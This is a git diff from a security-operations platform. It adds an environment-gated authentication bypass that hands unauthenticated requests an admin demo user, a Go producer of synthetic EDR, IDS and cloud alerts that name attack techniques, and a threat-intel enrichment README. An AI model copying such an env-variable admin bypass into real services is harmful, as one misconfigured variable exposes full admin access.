possible-typed-array-names: 1.1.0+ reflect.getprototypeof: 1.0.10+ dev: true++ resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==}+ engines: {node: '>=14.17'}+ hasBin: true+ dev: true++ resolution: {integrity: sha512-JFNbkD1Svwe0KvGi8GOeLcP4kAWQ609twvCdcHxq1oSL8svv39ZuSvajcD8B+5D0eL4+s1Is2D/O6KN3qcTeRA==}+ dev: true++ resolution: {integrity: sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ has-bigints: 1.1.0+ has-symbols: 1.1.0+ which-boxed-primitive: 1.1.1+ dev: true++ resolution: {integrity: sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==}+ dev: true++ resolution: {integrity: sha512-bSjt9pjaEBnNiGgc9rUiHGKv5l4/TGzDmYw3RhnkJGtLhbnnA/5qJj7x3dNDCRx/PJxu774LlH8lCOlB4hEfKg==}+ requiresBuild: true+ dependencies:+ napi-postinstall: 0.3.4+ optionalDependencies:+ '@unrs/resolver-binding-android-arm-eabi': 1.11.1+ '@unrs/resolver-binding-android-arm64': 1.11.1+ '@unrs/resolver-binding-darwin-arm64': 1.11.1+ '@unrs/resolver-binding-darwin-x64': 1.11.1+ '@unrs/resolver-binding-freebsd-x64': 1.11.1+ '@unrs/resolver-binding-linux-arm-gnueabihf': 1.11.1+ '@unrs/resolver-binding-linux-arm-musleabihf': 1.11.1+ '@unrs/resolver-binding-linux-arm64-gnu': 1.11.1+ '@unrs/resolver-binding-linux-arm64-musl': 1.11.1+ '@unrs/resolver-binding-linux-ppc64-gnu': 1.11.1+ '@unrs/resolver-binding-linux-riscv64-gnu': 1.11.1+ '@unrs/resolver-binding-linux-riscv64-musl': 1.11.1+ '@unrs/resolver-binding-linux-s390x-gnu': 1.11.1+ '@unrs/resolver-binding-linux-x64-gnu': 1.11.1+ '@unrs/resolver-binding-linux-x64-musl': 1.11.1+ '@unrs/resolver-binding-wasm32-wasi': 1.11.1+ '@unrs/resolver-binding-win32-arm64-msvc': 1.11.1+ '@unrs/resolver-binding-win32-ia32-msvc': 1.11.1+ '@unrs/resolver-binding-win32-x64-msvc': 1.11.1+ dev: true++ resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==}+ hasBin: true+ peerDependencies:+ browserslist: '>= 4.21.0'+ dependencies:+ browserslist: 4.28.2+ escalade: 3.2.0+ picocolors: 1.1.1+ dev: true++ resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==}+ dependencies:+ punycode: 2.3.1+ dev: true++ resolution: {integrity: sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg==}+ engines: {node: '>=10'}+ peerDependencies:+ '@types/react': '*'+ react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc+ peerDependenciesMeta:+ '@types/react':+ optional: true+ dependencies:+ '@types/react': 18.3.28+ react: 18.3.1+ tslib: 2.8.1+ dev: false++ resolution: {integrity: sha512-Fedw0aZvkhynoPYlA5WXrMCAMm+nSWdZt6lzJQ7Ok8S6Q+VsHmHpRWndVRJ8Be0ZbkfPc5LRYH+5XrzXcEeLRQ==}+ engines: {node: '>=10'}+ peerDependencies:+ '@types/react': '*'+ react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc+ peerDependenciesMeta:+ '@types/react':+ optional: true+ dependencies:+ '@types/react': 18.3.28+ detect-node-es: 1.1.0+ react: 18.3.1+ tslib: 2.8.1+ dev: false++ resolution: {integrity: sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==}+ peerDependencies:+ react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0+ dependencies:+ react: 18.3.1+ dev: false++ resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==}+ dev: true++ resolution: {integrity: sha512-PnpQQMuxlwYdocC8fIJqVXvkeViHYzotI+NJrCuav0ZYFoq912ZHBk3mCeuj+5/VpodOjPe1z0Fk2ihgzlXqjQ==}+ dependencies:+ '@types/d3-array': 3.2.2+ '@types/d3-ease': 3.0.2+ '@types/d3-interpolate': 3.0.4+ '@types/d3-scale': 4.0.9+ '@types/d3-shape': 3.1.8+ '@types/d3-time': 3.0.4+ '@types/d3-timer': 3.0.2+ d3-array: 3.2.4+ d3-ease: 3.0.1+ d3-interpolate: 3.0.1+ d3-scale: 4.0.2+ d3-shape: 3.2.0+ d3-time: 3.1.0+ d3-timer: 3.0.1+ dev: false++ resolution: {integrity: sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==}+ engines: {node: '>= 0.4'}+ dependencies:+ is-bigint: 1.1.0+ is-boolean-object: 1.2.2+ is-number-object: 1.1.1+ is-string: 1.1.1+ is-symbol: 1.1.1+ dev: true++ resolution: {integrity: sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ function.prototype.name: 1.1.8+ has-tostringtag: 1.0.2+ is-async-function: 2.1.1+ is-date-object: 1.1.0+ is-finalizationregistry: 1.1.1+ is-generator-function: 1.1.2+ is-regex: 1.2.1+ is-weakref: 1.1.1+ isarray: 2.0.5+ which-boxed-primitive: 1.1.1+ which-collection: 1.0.2+ which-typed-array: 1.1.20+ dev: true++ resolution: {integrity: sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==}+ engines: {node: '>= 0.4'}+ dependencies:+ is-map: 2.0.3+ is-set: 2.0.3+ is-weakmap: 2.0.2+ is-weakset: 2.0.4+ dev: true++ resolution: {integrity: sha512-LYfpUkmqwl0h9A2HL09Mms427Q1RZWuOHsukfVcKRq9q95iQxdw0ix1JQrqbcDR9PH1QDwf5Qo8OZb5lksZ8Xg==}+ engines: {node: '>= 0.4'}+ dependencies:+ available-typed-arrays: 1.0.7+ call-bind: 1.0.9+ call-bound: 1.0.4+ for-each: 0.3.5+ get-proto: 1.0.1+ gopd: 1.2.0+ has-tostringtag: 1.0.2+ dev: true++ resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==}+ engines: {node: '>= 8'}+ hasBin: true+ dependencies:+ isexe: 2.0.0+ dev: true++ resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==}+ engines: {node: '>=0.10.0'}+ dev: true++ resolution: {integrity: sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==}+ engines: {node: '>=10'}+ dependencies:+ ansi-styles: 4.3.0+ string-width: 4.2.3+ strip-ansi: 6.0.1+ dev: true++ resolution: {integrity: sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==}+ engines: {node: '>=12'}+ dependencies:+ ansi-styles: 6.2.3+ string-width: 5.1.2+ strip-ansi: 7.2.0+ dev: true++ resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==}+ dev: true++ resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==}+ engines: {node: '>=10'}+ dev: true++ resolution: {integrity: sha512-CHOUy7mu3lbD6o6LJLfllpjkzhHXSBlX8B9+qPddUsIfeF5S/UZ5q0kmCsnRqT1UHFQZchNFDDzMbQsuesHWlw==}+ engines: {node: '>=12.7.0'}+ peerDependencies:+ '@types/react': '>=16.8'+ immer: '>=9.0.6'+ react: '>=16.8'+ peerDependenciesMeta:+ '@types/react':+ optional: true+ immer:+ optional: true+ react:+ optional: true+ dependencies:+ '@types/react': 18.3.28+ react: 18.3.1+ use-sync-external-store: 1.6.0([email protected])+ dev: falsediff --git a/services/api/app/api/v1/deps.py b/services/api/app/api/v1/deps.pyindex 9f620ae9a..f1c4b2e05 100644--- a/services/api/app/api/v1/deps.py+++ b/services/api/app/api/v1/deps.py@@ -9,6 +9,13 @@ from jose import JWTErrorfrom sqlalchemy import selectfrom sqlalchemy.ext.asyncio import AsyncSession+from app.api.v1.dev_auth import (+ DEMO_TENANT_ID,+ DEMO_USER_EMAIL,+ DEMO_USER_ID,+ DEMO_USER_ROLE,+ is_dev_mode,+)from app.core.security import decode_token, has_permissionfrom app.db.database import get_dbfrom app.models.tenant import ApiKey, Tenant, User@@ -43,8 +50,19 @@ async def get_current_user(credentials: Annotated[HTTPAuthorizationCredentials | None, Security(bearer_scheme)],db: AsyncSession = Depends(get_db),) -> CurrentUser:- """Resolve JWT bearer token to CurrentUser."""+ """Resolve JWT bearer token to CurrentUser.++ In development mode an unauthenticated request resolves to a deterministic+ demo user (see ``app.api.v1.dev_auth``). Production requires a bearer token.+ """if credentials is None:+ if is_dev_mode():+ return CurrentUser(+ user_id=DEMO_USER_ID,+ tenant_id=DEMO_TENANT_ID,+ role=DEMO_USER_ROLE,+ email=DEMO_USER_EMAIL,+ )raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED,detail="Not authenticated",diff --git a/services/api/app/api/v1/dev_auth.py b/services/api/app/api/v1/dev_auth.pynew file mode 100644index 000000000..4dc7d7ce0--- /dev/null+++ b/services/api/app/api/v1/dev_auth.py@@ -0,0 +1,31 @@+"""Development authentication bypass.++When ``ENV`` is ``development`` and a request arrives without a bearer token,+we resolve a deterministic demo user. This makes the web console usable+without seeding users + logging in for every contributor running the stack+locally.++The demo IDs are also used by ``services/api/app/scripts/seed_demo.py`` so the+data the UI sees actually belongs to the user that the API hands back.++Production safety: this module reads ``ENV`` at call time and refuses to+return a demo user unless ``ENV in {development, dev, local, demo}``.+"""+from __future__ import annotations++import os+import uuid++# Deterministic demo IDs — kept in sync with seed_demo.py+DEMO_TENANT_ID: uuid.UUID = uuid.UUID("00000000-0000-0000-0000-000000000001")+DEMO_USER_ID: uuid.UUID = uuid.UUID("00000000-0000-0000-0000-000000000002")+DEMO_USER_EMAIL: str = "[email protected]"+DEMO_USER_ROLE: str = "admin"++_DEV_ENVS = {"development", "dev", "local", "demo"}+++def is_dev_mode() -> bool:+ """True if the running environment permits the auth bypass."""+ env = (os.getenv("ENV") or os.getenv("ENVIRONMENT") or "").strip().lower()+ return env in _DEV_ENVSdiff --git a/services/demo-producer/Dockerfile b/services/demo-producer/Dockerfilenew file mode 100644index 000000000..c6c449c54--- /dev/null+++ b/services/demo-producer/Dockerfile@@ -0,0 +1,14 @@+# AiSOC Demo Event Producer+# Multi-stage Go build → tiny distroless runtime image.+FROM golang:1.21-alpine AS builder+WORKDIR /src+COPY go.mod ./+RUN go mod download+COPY main.go ./+RUN CGO_ENABLED=0 GOOS=linux go build -ldflags="-s -w" -o /out/demo-producer .++FROM gcr.io/distroless/static-debian12:nonroot+WORKDIR /+COPY --from=builder /out/demo-producer /demo-producer+USER nonroot:nonroot+ENTRYPOINT ["/demo-producer"]diff --git a/services/demo-producer/README.md b/services/demo-producer/README.mdnew file mode 100644index 000000000..c4e360f56--- /dev/null+++ b/services/demo-producer/README.md@@ -0,0 +1,45 @@+# AiSOC Demo Event Producer++A tiny Go CLI that pumps synthetic but realistic security events+(CrowdStrike, Defender, Suricata, GuardDuty, Okta, Splunk) into the+AiSOC ingest service so the dashboard, alerts, copilots, and the attack+graph have real-looking data while you develop locally.++## Quick start++```bash+# 1. Make sure the dev stack is running+pnpm docker:dev++# 2. Seed the database with the demo tenant + baseline alerts/cases+pnpm seed:demo++# 3. Stream live events into the ingest service+pnpm demo:produce # ~24 events/sec across 6 connectors+pnpm demo:produce:fast # 480 events/sec — for stress demos+```++## Flags++| Flag | Default | Notes |+| -------------- | ------------------------------------------------------------- | ---------------------------------- |+| `--ingest-url` | `http://localhost:8001/v1/ingest` | Ingest service endpoint |+| `--tenant` | `00000000-0000-0000-0000-000000000001` (matches `seed:demo`) | Sent as `X-Tenant-ID` header |+| `--rate` | `4` | Batches per second per connector |+| `--batch` | `5` | Events per batch |+| `--duration` | `0` | How long to run (0 = forever) |++Environment variables `INGEST_URL` and `TENANT_ID` are honored as defaults.++## Design notes++Each "connector" runs in its own goroutine so output looks naturally+interleaved. Events are randomised with a per-connector RNG, but enough+fields (host, user, ATT&CK tactic) are stable across connectors that+they look correlatable in the UI — which is the whole point of a SOC+demo.++This binary is intentionally **tiny** — no Kafka, no protobuf, just an+HTTP POST to the ingest service. That keeps the dependency graph small+and means the producer works against any AiSOC environment that exposes+`/v1/ingest`.diff --git a/services/demo-producer/demo-producer b/services/demo-producer/demo-producernew file mode 100755index 000000000..16e77999cBinary files /dev/null and b/services/demo-producer/demo-producer differdiff --git a/services/demo-producer/go.mod b/services/demo-producer/go.modnew file mode 100644index 000000000..b0b916ed8--- /dev/null+++ b/services/demo-producer/go.mod@@ -0,0 +1,3 @@+module github.com/beenuar/aisoc/services/demo-producer++go 1.21diff --git a/services/demo-producer/main.go b/services/demo-producer/main.gonew file mode 100644index 000000000..55e85ecc0--- /dev/null+++ b/services/demo-producer/main.go@@ -0,0 +1,317 @@+// AiSOC Demo Event Producer+//+// Generates synthetic but realistic security events and posts them to the+// ingest service so dashboards, alerts, copilots, and the attack graph all+// have data to chew on while developing locally.+//+// Usage:+//+// go run ./services/demo-producer \+// --ingest-url http://localhost:8001/v1/ingest \+// --tenant 00000000-0000-0000-0000-000000000001 \+// --rate 5 \+// --duration 0+//+// `--rate` is events per second per connector. `--duration 0` runs forever.+//+// Part of the Cyble AiSOC platform (MIT License).+package main++import (+ "bytes"+ "context"+ "encoding/json"+ "flag"+ "fmt"+ "math/rand"+ "net/http"+ "os"+ "os/signal"+ "sync"+ "sync/atomic"+ "syscall"+ "time"+)++type ingestRequest struct {+ ConnectorID string `json:"connector_id"`+ ConnectorType string `json:"connector_type"`+ SourceFormat string `json:"source_format"`+ Events []map[string]interface{} `json:"events"`+}++type connectorProfile struct {+ id string+ typ string+ format string+ build func(*rand.Rand) map[string]interface{}+}++var (+ hosts = []string{+ "WIN-FIN-DB01", "WIN-PROD-WEB02", "MAC-SARAH-LT", "LIN-K8S-NODE-03",+ "WIN-HR-DESKTOP", "DC01.corp.aisoc.dev", "WIN-DEVOPS-LT", "WIN-CFO-LT",+ }+ users = []string{+ }+ processes = []string{+ "powershell.exe", "cmd.exe", "explorer.exe", "wmic.exe", "rundll32.exe",+ "net.exe", "bash", "python3", "curl", "ssh",+ }+ severities = []string{"low", "medium", "high", "critical"}+ tactics = []struct {+ ID string+ Name string+ }{+ {"TA0001", "Initial Access"}, {"TA0002", "Execution"},+ {"TA0003", "Persistence"}, {"TA0004", "Privilege Escalation"},+ {"TA0005", "Defense Evasion"}, {"TA0006", "Credential Access"},+ {"TA0008", "Lateral Movement"}, {"TA0010", "Exfiltration"},+ {"TA0011", "Command and Control"}, {"TA0040", "Impact"},+ }+)++func randIP(r *rand.Rand) string {+ return fmt.Sprintf("%d.%d.%d.%d", r.Intn(255), r.Intn(255), r.Intn(255), r.Intn(255))+}++func pickTactic(r *rand.Rand) (string, string) {+ t := tactics[r.Intn(len(tactics))]+ return t.ID, t.Name+}++func crowdstrikeEvent(r *rand.Rand) map[string]interface{} {+ tacticID, tactic := pickTactic(r)+ host := hosts[r.Intn(len(hosts))]+ return map[string]interface{}{+ "event_simpleName": "ProcessRollup2",+ "timestamp": time.Now().UTC().Format(time.RFC3339Nano),+ "ComputerName": host,+ "UserName": users[r.Intn(len(users))],+ "FileName": processes[r.Intn(len(processes))],+ "CommandLine": "powershell -enc " + randString(r, 24),+ "Severity": severities[r.Intn(len(severities))],+ "MitreTactic": tactic,+ "MitreTacticID": tacticID,+ "SrcIP": randIP(r),+ "DstIP": randIP(r),+ }+}++func defenderEvent(r *rand.Rand) map[string]interface{} {+ host := hosts[r.Intn(len(hosts))]+ return map[string]interface{}{+ "AlertId": fmt.Sprintf("da%d", r.Int63()),+ "AlertTitle": "Suspicious LSASS access",+ "Severity": severities[r.Intn(len(severities))],+ "Category": "CredentialAccess",+ "ComputerDnsName": host,+ "InitiatedByUser": users[r.Intn(len(users))],+ "FileName": "lsass.exe",+ "DetectionSource": "WindowsDefenderAv",+ "SrcIP": randIP(r),+ "Timestamp": time.Now().UTC().Format(time.RFC3339),+ }+}++func suricataEvent(r *rand.Rand) map[string]interface{} {+ return map[string]interface{}{+ "timestamp": time.Now().UTC().Format(time.RFC3339),+ "event_type": "alert",+ "src_ip": randIP(r),+ "dest_ip": randIP(r),+ "src_port": r.Intn(60000) + 1024,+ "dest_port": 443,+ "proto": "TCP",+ "alert": map[string]interface{}{+ "signature": "ET TROJAN Possible Cobalt Strike Beacon",+ "category": "A Network Trojan was Detected",+ "severity": 1,+ "signature_id": 2024555,+ },+ }+}++func guarddutyEvent(r *rand.Rand) map[string]interface{} {+ return map[string]interface{}{+ "id": fmt.Sprintf("gd-%d", r.Int63()),+ "type": "UnauthorizedAccess:IAMUser/MaliciousIPCaller",+ "severity": []float64{2.0, 5.0, 7.0, 8.5}[r.Intn(4)],+ "region": "us-east-1",+ "resource": map[string]interface{}{+ "resourceType": "AccessKey",+ "accessKeyDetails": map[string]string{+ "userName": users[r.Intn(len(users))],+ },+ },+ "service": map[string]interface{}{+ "action": map[string]string{+ "actionType": "AWS_API_CALL",+ },+ },+ "createdAt": time.Now().UTC().Format(time.RFC3339),+ }+}++func oktaEvent(r *rand.Rand) map[string]interface{} {+ return map[string]interface{}{+ "eventType": "user.session.start",+ "published": time.Now().UTC().Format(time.RFC3339),+ "actor": map[string]string{"alternateId": users[r.Intn(len(users))]},+ "client": map[string]interface{}{"ipAddress": randIP(r), "userAgent": map[string]string{"os": "Mac OS X"}},+ "outcome": map[string]string{"result": []string{"SUCCESS", "FAILURE"}[r.Intn(2)]},+ "severity": severities[r.Intn(len(severities))],+ "displayMessage": "User login attempt",+ }+}++func splunkEvent(r *rand.Rand) map[string]interface{} {+ return map[string]interface{}{+ "_time": time.Now().UTC().Unix(),+ "sourcetype": "wineventlog:security",+ "source": "WinEventLog:Security",+ "host": hosts[r.Intn(len(hosts))],+ "EventCode": 4625,+ "message": "An account failed to log on",+ "user": users[r.Intn(len(users))],+ "src_ip": randIP(r),+ "severity": severities[r.Intn(len(severities))],+ }+}++func randString(r *rand.Rand, n int) string {+ const letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"+ b := make([]byte, n)+ for i := range b {+ b[i] = letters[r.Intn(len(letters))]+ }+ return string(b)+}++var profiles = []connectorProfile{+ {id: "demo-crowdstrike", typ: "crowdstrike", format: "crowdstrike-edr-event", build: crowdstrikeEvent},+ {id: "demo-defender", typ: "microsoft_defender", format: "defender-alert", build: defenderEvent},+ {id: "demo-suricata", typ: "suricata", format: "suricata-eve", build: suricataEvent},+ {id: "demo-guardduty", typ: "aws_guardduty", format: "guardduty-finding", build: guarddutyEvent},+ {id: "demo-okta", typ: "okta", format: "okta-system-log", build: oktaEvent},+ {id: "demo-splunk", typ: "splunk", format: "splunk-event", build: splunkEvent},+}++func runProducer(ctx context.Context, wg *sync.WaitGroup, profile connectorProfile, opts options, sent *atomic.Int64) {+ defer wg.Done()+ r := rand.New(rand.NewSource(time.Now().UnixNano() + int64(len(profile.id))))+ interval := time.Second / time.Duration(opts.rate)+ if interval <= 0 {+ interval = 100 * time.Millisecond+ }+ ticker := time.NewTicker(interval)+ defer ticker.Stop()++ client := &http.Client{Timeout: 10 * time.Second}++ for {+ select {+ case <-ctx.Done():+ return+ case <-ticker.C:+ batch := make([]map[string]interface{}, 0, opts.batch)+ for i := 0; i < opts.batch; i++ {+ batch = append(batch, profile.build(r))+ }+ payload := ingestRequest{+ ConnectorID: profile.id,+ ConnectorType: profile.typ,+ SourceFormat: profile.format,+ Events: batch,+ }+ body, err := json.Marshal(payload)+ if err != nil {+ fmt.Fprintf(os.Stderr, "[%s] marshal: %v\n", profile.id, err)+ continue+ }+ req, err := http.NewRequestWithContext(ctx, "POST", opts.ingestURL, bytes.NewReader(body))+ if err != nil {+ continue+ }+ req.Header.Set("Content-Type", "application/json")+ req.Header.Set("X-Tenant-ID", opts.tenant)+ resp, err := client.Do(req)+ if err != nil {+ if ctx.Err() == nil {+ fmt.Fprintf(os.Stderr, "[%s] post: %v\n", profile.id, err)+ }+ continue+ }+ resp.Body.Close()+ sent.Add(int64(len(batch)))+ }+ }+}++type options struct {+ ingestURL string+ tenant string+ rate int+ batch int+ duration time.Duration+}++func main() {+ var opts options+ flag.StringVar(&opts.ingestURL, "ingest-url", envDefault("INGEST_URL", "http://localhost:8001/v1/ingest"), "Ingest service ingest endpoint")+ flag.StringVar(&opts.tenant, "tenant", envDefault("TENANT_ID", "00000000-0000-0000-0000-000000000001"), "Tenant ID header")+ flag.IntVar(&opts.rate, "rate", 4, "Batches per second per connector")+ flag.IntVar(&opts.batch, "batch", 5, "Events per batch")+ flag.DurationVar(&opts.duration, "duration", 0, "How long to run (0 = forever)")+ flag.Parse()++ fmt.Printf("[demo-producer] ingest=%s tenant=%s rate=%d batch=%d connectors=%d\n",+ opts.ingestURL, opts.tenant, opts.rate, opts.batch, len(profiles))++ ctx, cancel := context.WithCancel(context.Background())+ if opts.duration > 0 {+ ctx, cancel = context.WithTimeout(ctx, opts.duration)+ }+ defer cancel()++ sigCh := make(chan os.Signal, 1)+ signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)+ go func() {+ <-sigCh+ fmt.Println("\n[demo-producer] shutting down…")+ cancel()+ }()++ var sent atomic.Int64+ var wg sync.WaitGroup+ for _, p := range profiles {+ wg.Add(1)+ go runProducer(ctx, &wg, p, opts, &sent)+ }++ // Periodic stats line.+ go func() {+ t := time.NewTicker(5 * time.Second)+ defer t.Stop()+ for {+ select {+ case <-ctx.Done():+ return+ case <-t.C:+ fmt.Printf("[demo-producer] events sent so far: %d\n", sent.Load())+ }+ }+ }()++ wg.Wait()+ fmt.Printf("[demo-producer] done. total events sent: %d\n", sent.Load())+}++func envDefault(key, fallback string) string {+ if v := os.Getenv(key); v != "" {+ return v+ }+ return fallback+}diff --git a/services/enrichment/README.md b/services/enrichment/README.mdnew file mode 100644index 000000000..044463c40--- /dev/null+++ b/services/enrichment/README.md@@ -0,0 +1,196 @@+# AiSOC Enrichment Service++A Go service that enriches IOCs (IPs, domains, URLs, file hashes) by fanning+out to a curated set of open-source and commercial threat-intelligence+providers in parallel, then merging the responses into a single normalized+`EnrichmentResult`.++The service is part of the AiSOC platform and is consumed by the analysis+pipeline, the AI Copilot, the case workspace, and the hunt UI.++---++## Highlights++- **One unified response shape.** Every provider — VirusTotal or Mandiant —+ is mapped to the same `EnrichmentResult` struct with reputation score,+ classifications, evidence, and provenance.+- **Concurrent fan-out.** Per-IOC requests are dispatched to every configured+ provider via goroutines and merged with deterministic precedence.+- **Tiered providers.** Open-source and freemium feeds for community use,+ commercial feeds for enterprise deployments — toggled by environment+ variables.+- **Cache-first.** Redis-backed result cache with per-IOC TTLs; `force=true`+ bypasses the cache for live re-enrichment.+- **Graceful degradation.** Missing API keys are not errors. Each unconfigured+ client returns a "not configured" sentinel that is filtered from the merge.++---++## Supported providers++### Open-source / freemium++| Provider | IOC types | Auth | Env vars |+| ------------ | ----------------------- | --------- | --------------------------------------- |+| VirusTotal | IP, domain, URL, hash | API key | `VIRUSTOTAL_API_KEY` |+| AbuseIPDB | IP | API key | `ABUSEIPDB_API_KEY` |+| GreyNoise | IP | API key | `GREYNOISE_API_KEY` |+| Shodan | IP | API key | `SHODAN_API_KEY` |+| URLScan | URL, domain | API key | `URLSCAN_API_KEY` |+| IPinfo | IP | API key | `IPINFO_API_KEY` |++### Commercial++| Provider | IOC types | Auth | Env vars |+| --------------------------------- | ------------------------ | -------------------- | ----------------------------------------------------- |+| Cyble Vision | IP, domain, URL, hash | API key | `CYBLE_API_KEY`, `CYBLE_BASE_URL` |+| Recorded Future | IP, domain, URL, hash | API key | `RECORDED_FUTURE_API_KEY` |+| Mandiant Threat Intelligence v4 | IP, domain, URL, hash | OAuth client-creds | `MANDIANT_API_KEY`, `MANDIANT_API_SECRET` |+| Crowdstrike Falcon Intelligence | IP, domain, URL, hash | OAuth client-creds | `CROWDSTRIKE_INTEL_ID`, `CROWDSTRIKE_INTEL_SECRET` |+| Anomali ThreatStream | IP, domain, URL, hash | Basic (user + key) | `ANOMALI_USERNAME`, `ANOMALI_API_KEY`, `ANOMALI_BASE_URL` |+| IBM X-Force Exchange | IP, domain, URL, hash | Basic (key + pwd) | `XFORCE_API_KEY`, `XFORCE_API_PASSWORD` |+| Flashpoint | IP, domain, hash | Bearer token | `FLASHPOINT_API_KEY` |+| Intel 471 | IP, domain, hash | Basic (user + key) | `INTEL471_USERNAME`, `INTEL471_API_KEY` |+| DomainTools Iris | Domain, IP | Basic (user + key) | `DOMAINTOOLS_USERNAME`, `DOMAINTOOLS_API_KEY` |+| RiskIQ PassiveTotal | Domain, IP | Basic (user + key) | `RISKIQ_USERNAME`, `RISKIQ_API_KEY` |++Configure only the providers you have access to. The orchestrator logs which+providers are active at startup.++---++## EnrichmentResult schema++The merged result includes the following fields. Empty fields are omitted by+the JSON encoder.++```go+type EnrichmentResult struct {+ IOCType IOCType+ IOCValue string+ ReputationScore int // 0–100, higher = more malicious+ Verdict string // benign | suspicious | malicious+ Tags []string+ Sources []EnrichmentSource // per-provider provenance + tier++ // Network / infra+ Country string+ ASN string+ ASNOrg string+ IsTor bool+ IsVPN bool+ IsDatacenter bool++ // Time+ FirstSeen *time.Time+ LastSeen *time.Time++ // Threat context+ MITRETactics []string+ MITRETechniques []string+ ThreatActors []string+ Malware []string+ Campaigns []string++ // Commercial-TI extensions+ DarkWeb *DarkWebContext // forum mentions, leaks, marketplaces+ Vulnerabilities []VulnerabilityRef // CVEs with CVSS / EPSS+ BrandRisk *BrandRisk // typosquats, impersonation, phishing+ Whois map[string]string // registrant, registrar, dates+}+```++Provenance is preserved per-source via `EnrichmentSource{Name, Tier, ...}`+where `Tier` is `oss` or `commercial`.++---++## Fan-out and merge semantics++For each enrich request the service:++1. Looks up the IOC in Redis. On hit, returns cached result (unless+ `force=true`).+2. Selects every provider whose client is configured **and** supports the IOC+ type, and runs them in parallel via `runFanOut`.+3. Merges per-source `EnrichmentResult`s with the following rules:+ - **Reputation** is the maximum across sources, weighted to favor+ commercial-tier verdicts when within a small delta.+ - **Tags / actors / malware / techniques** are unioned, deduped.+ - **Time fields** take the earliest `FirstSeen` and latest `LastSeen`.+ - **Vulnerabilities** are deduped by CVE ID, keeping the highest CVSS.+ - **Dark web / brand risk** sections are concatenated, deduped by+ `(source, identifier)`.+4. Caches the merged result with a TTL based on verdict severity.++---++## API++### Enrich an IOC++```+POST /v1/enrich+Content-Type: application/json++{+ "type": "ip" | "domain" | "url" | "hash",+ "value": "8.8.8.8",+ "force": false+}+```++Response: a JSON-encoded `EnrichmentResult`.++### Health++```+GET /healthz+```++Returns `200 OK` once the cache and at least one provider are reachable.++---++## Local development++```bash+cd services/enrichment++# minimal config: VirusTotal only+export VIRUSTOTAL_API_KEY=...+export REDIS_ADDR=localhost:6379++go run .+```++Run with the full provider set by populating the corresponding environment+variables from `.env.example` at the repo root.++### Build / vet++```bash+go build ./...+go vet ./...+```++### Tests++```bash+go test ./...+```++---++## Notes++- Provider clients are isolated under `internal/enricher`. New providers+ follow the same shape: `New<Provider>Client(...)` constructor, per-IOC+ enrichment methods returning `*EnrichmentResult`, graceful no-op when the+ client is not configured.+- Commercial clients in `commercial.go` are intentionally compact and share+ HTTP plumbing; high-traffic providers (Cyble, Recorded Future, Mandiant)+ live in their own files for clarity.+- All clients honor the request `context.Context` for deadlines and+ cancellation.diff --git a/services/enrichment/go.mod b/services/enrichment/go.modindex 75e0f1715..9de364d31 100644--- a/services/enrichment/go.mod+++ b/services/enrichment/go.mod@@ -1,4 +1,4 @@-module github.com/cyble/aisoc/enrichment+module github.com/beenuar/aisoc/enrichmentgo 1.21diff --git a/services/enrichment/internal/config/config.go b/services/enrichment/internal/config/config.goindex 